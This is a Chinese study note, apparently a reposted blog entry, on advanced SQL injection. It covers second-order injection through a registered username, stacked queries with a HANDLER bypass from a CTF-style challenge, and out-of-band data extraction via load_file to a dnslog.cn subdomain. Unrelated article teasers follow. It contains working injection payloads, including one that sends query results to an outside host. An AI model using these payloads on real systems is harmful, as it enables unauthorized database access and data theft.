小迪笔记 第四十五天 sql 注入进阶 :二次注入,堆叠注入,数据读取(load_file)加外带

二次注入

概念:就是我们注入的语句(刚注入时 不会产生影响)但是我们的恶意代码会进入数据库  他在被二次利用的时候就会进行执行  这个就是二次注入

这个的典型案例就是账号密码的修改 : 大家应该也知道 账号注册一般是禁止你使用恶意符号的是吧,那为什么呀?(文末有所用的源码和工具)

就是我们如果把账号 设置为   a' updatexml(1,concat(0x7e,database(),1) #

密码是123456

我们第一次登录  数据库执行 :   insert  into  admin(username,password)  values( '  a' updatexml(1,concat(0x7e,database),1) #  ' ,'123456')    那这样不直接就执行了吗?

其实我上一个文章  说到了一个就我们注入的时候   ' '  被改为了   \'\'  这个符号  这个就是转义字符

实际上我们的输入会被一个转义字符函数   或者php魔术方法

转义之后就成了

insert  into  admin(username,password)  values( '  a\' updatexml(1,concat(0x7e,database),1) \#  ' ,'123456') 

那这样还执行个毛啊

但是这个被保存到数据库之后  就会变为原样

演示:

我这边的数据库    是什么也没有的   那我们执行上边的语句看看什么情况   

执行: 没有执行但是插入到数据库了

当我们修改密码的时候那直接遭殃了    修改密码 有两个形式  : 1、知道密码的修改  2、忘记密码的修改 第二个在这就不会形成二次注入    

1修改密码的语句  : update users set password='新密码' where username='a' updatexml(1,concat(0x7e,database),1) #'                       注入上了呀   是吧  

演示一下  

我们输入的时候发现  什么情况账号输不进去啊  ?  这个就是长度的限制  我们看看是前端的限制还是后端的  

直接 F12  进行查看  一看是前端的限制  那我们直接改掉就行了

接着玩

修改密码  这边我们没执行sql语句啊   就是新旧密码的更改

执行一下 会直接返回我们的数据库名  

这个的危害还是很大的   但是需要的条件  1、转义字符函数(为了把恶意代码植入到数据库中)  2、不会对我们的账号进行特殊符号的限制

堆叠注入

这个比 or1=1 还简单  就是我们看一下 

我们在数据内连接执行了两个数据库的语句  我们去网站上试一试 那你看好了   

创建了一个库

那这是什么情况啊?    其实就是我们修改了一下

multi  就支持我们进行多个语句的执行   这个就是这个漏洞的条件  (但是说实话这个的作用不大 因为谁你妹的会开开这个?找干?)

演示一个例题 

这个就是堆叠注入

看一下源码  他说 Sqlmap没有灵魂那我就手工注入了

直接   ';show databases;  # 注入得到 数据库名

得到这个表   Select * from 上边那一串数字

想一想怎么绕过  这里我想的是直接全部  url 编码试一下能不能绕过  发现还是被 挡住了

那就只能上绝活了  这里  不让我们使用  select    那我们使用个别的   这个handler的作用和mysql 的select

1';handler `1919810931114514` open;handler `1919810931114514` read next;handler `1919810931114514` close;#

这里有个注意点就是  我们的这个  表名字  必须使用  ` ` 包裹呀   为什么使用反引号 呀  如果我们使用单引号  就会直接给我们当字符串处理了   详细的请看这个大佬的文章

sql注入前置知识(information_schema数据库,预处理,反引号和单引号的区别与用法)_schema+表名的反引号sql-CSDN博客

数据回显的外带

下边这个很牛 x解决不回显,反向连接,SQL注入,命令执行,SSRF     但是限制条件就是  

secure_file_priv=''

我们的带外  语句就是    and load_file(concat('//','version()','.3c2hay.dnslog.cn//1.txt'))

这个3c2hay.dnslog.cn  是我们的带外网站  DNSLog Platform

解释:  load_file  表示进行文件的读取   这个1.txt 可以随便写   // 两个这个是防止转义符的  

version()  是执行的语句      那有人问  '//'  这你妹的是什么意思啊?   这个是我们访问网站的一个前缀

试一下

接受数据

总结

以上三个方法  二次注入 :1、需要有转义符

2、堆叠注入       条件:需要开启 mutil 多sql语句执行

3、带外  需要 secure_file_priv='' 服务  

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/888964.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

[C++]继承

继承 概念使用方法继承方式子类的构造与析构 继承的成员继承成员在子类对象里的存放顺序成员变量普通成员变量静态成员变量 成员函数普通成员函数重定义(隐藏) 静态成员函数友元函数 单继承与多继承概念赋值转换(切片)多继承带来的…

机器人构建详解:售前售后服务客服机器人与广告生成机器人的微调数据处理方法

引言 大模型(如BERT、GPT等)在自然语言处理任务中展现了强大的能力,但为了使其更贴合特定应用场景,通常需要进行微调。本文将详细讲解如何为售前售后服务的客服机器人和广告生成机器人准备高质量的微调数据,并通过具体…

8.解决跨域问题的三种方案

开启域名,单点登录后,就使用最上面的接口了

全解:Redis RDB持久化和AOF持久化

🧑 博主简介:CSDN博客专家,历代文学网(PC端可以访问:https://literature.sinhy.com/#/literature?__c1000,移动端可微信小程序搜索“历代文学”)总架构师,15年工作经验,…

使用 ASP.NET Core HttpLoggingMiddleware 记录 http 请求/响应

我们发布了一个应用程序,该应用程序运行在一个相当隐蔽的 WAF 后面。他们向我们保证,他们的产品不会以任何方式干扰我们的应用程序。这是错误的。他们删除了我们几乎所有的“自定义”标头。为了“证明”这一点,我构建了一个中间件&#xff0c…

回调机制详解

一、什么是回调: 回调是一种双向的调用模式,程序模块之间通过这样的接口调用完成通信联系,回调的核心就是回调方将本身即this传递给调用方,这样调用方就可以在调用完毕之后再告诉回调方它想要知道的信息。 回调函数用于层间协作&…

CUDA 计时功能,记录GPU程序/函数耗时,cudaEventCreate,cudaEventRecord,cudaEventElapsedTime

为了测试GPU函数的耗时,可以使用 CUDA 提供的计时功能:cudaEventCreate, cudaEventRecord, 和 cudaEventElapsedTime。这些函数可以帮助你测量某个 CUDA 操作(如设置设备)所花费的时间。 一、记录耗时案例 以下是一个示例程序&a…

异步操作,promise、axios

一、异步操作(异步编程)、同步操作 异步操作是指在编程中,某个任务的执行不会立即完成,同时不会阻塞后续代码的执行。在异步操作中,程序可以继续运行,并在异步任务完成时得到通知并处理结果。这与同步操作…

Ansible的yum和saltstack的哪个功能相似

Ansible的yum和saltstack的哪个功能相似 在 Ansible 和 SaltStack 中,Ansible 的 yum 模块 和 SaltStack 的 pkg 模块 功能相似。它们都用于管理软件包,支持安装、升级、删除和查询等操作。 Ansible 的 yum 模块 用途: 专门用于基于 Red Hat …

JVM 面试题相关总结

🧑 博主简介:CSDN博客专家,历代文学网(PC端可以访问:https://literature.sinhy.com/#/literature?__c1000,移动端可微信小程序搜索“历代文学”)总架构师,15年工作经验,…

基于BiLSTM-CRF的中文电子病历命名实体识别

声明:博客未经允许禁止抄袭转载。 前言 最近有粉丝在后台私信我能不能更一篇关于命名实体识别(NER,Named Entity Recognition)的经典模型BiLSTM-CRF的实战文章,前段时间有点忙所有一直没有更新,趁着最近有点空,满足一…

k8s 优雅监控jvm及dump heap的方案探讨

背景 k8s cluster 的健康检测失败会主动重启pod,而大部份情况下健康检测失败都是由full gc引起的。往往发生重启时已经没有条件dump heap排查full gc的原因。 如何监控 为了避免因健康检测失败而导致的pod重启,我们需要实施有效的监控策略,这…

TPM 2.0:安全固件的新标准

得益于可信计算组 ( TCG ) 推出的全新 TPM 2.0规范,联网设备可以更好地抵御网络攻击,并且不太可能受到错误的攻击。 制造商将可信平台模块 (TPM) 附加到设备上,以帮助用户和管理员验证其身份、生成和存储加密密钥以及确保平台完整性。 在 T…

ensp实验-vrrp多网关配置

一、交换机与路由的配置区别 1. 角色定义交换机: Master 或 Backup: 交换机通常作为 Master 或 Backup 设备参与 VRRP,负责在主设备故障时接替其工作。路由器: Master 或 Backup: 路由器同样可以作为 Master 或 Backup 设备…

黑盒测试方法

‌黑盒测试是一种软件测试方法,它通过向系统提供输入并检查输出结果来验证系统的功能是否符合需求。‌黑盒测试主要关注软件的功能性,而不是其内部结构或工作原理。以下是几种常见的黑盒测试顺序方法: 场景设计法‌: 通过模拟实际…

游戏引擎学习第38天

仓库: https://gitee.com/mrxiao_com/2d_game 回顾上次的内容。 我们之前讨论了将精灵放在屏幕上,但颜色错误的问题。问题最终查明是因为使用了一个调整工具,导致文件的字节顺序发生了变化。重新运行“image magic”工具对一些大图像进行重新处理后&am…

aws(学习笔记第十六课) 使用负载均衡器(ELB)解耦webserver以及输出ELB的日志到S3

aws(学习笔记第十六课) 使用负载均衡器(ELB)以及输出ELB的日志到S3 学习内容: 使用负载均衡器(ELB)解耦web server输出ELB的日志到S3 1. 使用负载均衡器(ELB) 全体架构 使用ELB(Elastic Load Balancer)能够解耦外部internet访问和web server之间的耦合&#xff0c…

深入理解C#的TCPIP通信机制

本文还有配套的精品资源,点击获取 简介:在分布式系统和实时数据交换应用中,C#作为一种现代面向对象编程语言,利用其***命名空间下的Socket类,提供强大的TCP/IP通信功能。本文将探讨C#中TCP/IP通信的基本概念、使用方…

高项 - 项目管理原则与项目绩效域

个人总结,仅供参考,欢迎加好友一起讨论 博文更新参考时间点:2024-12 高项 - 章节与知识点汇总:点击跳转 文章目录 高项 - 项目管理原则与项目绩效域项目管理12条原则原则1:成为勤勉、尊重和关心他人的管家 (p202)原则…

仿真技术助力高尔夫球打破传统设计局限,实现球杆强大的功能

Altair近日宣布与业内领先的高尔夫装备制造商 Cleveland Golf 开展合作,以设计新款 HiBore XL 球杆。借助 Altair 先进的仿真与设计技术,Cleveland Golf 不断刷新高尔夫装备的行业标准,并在球杆产品设计方面实现突破。 Cleveland Golf 借助 A…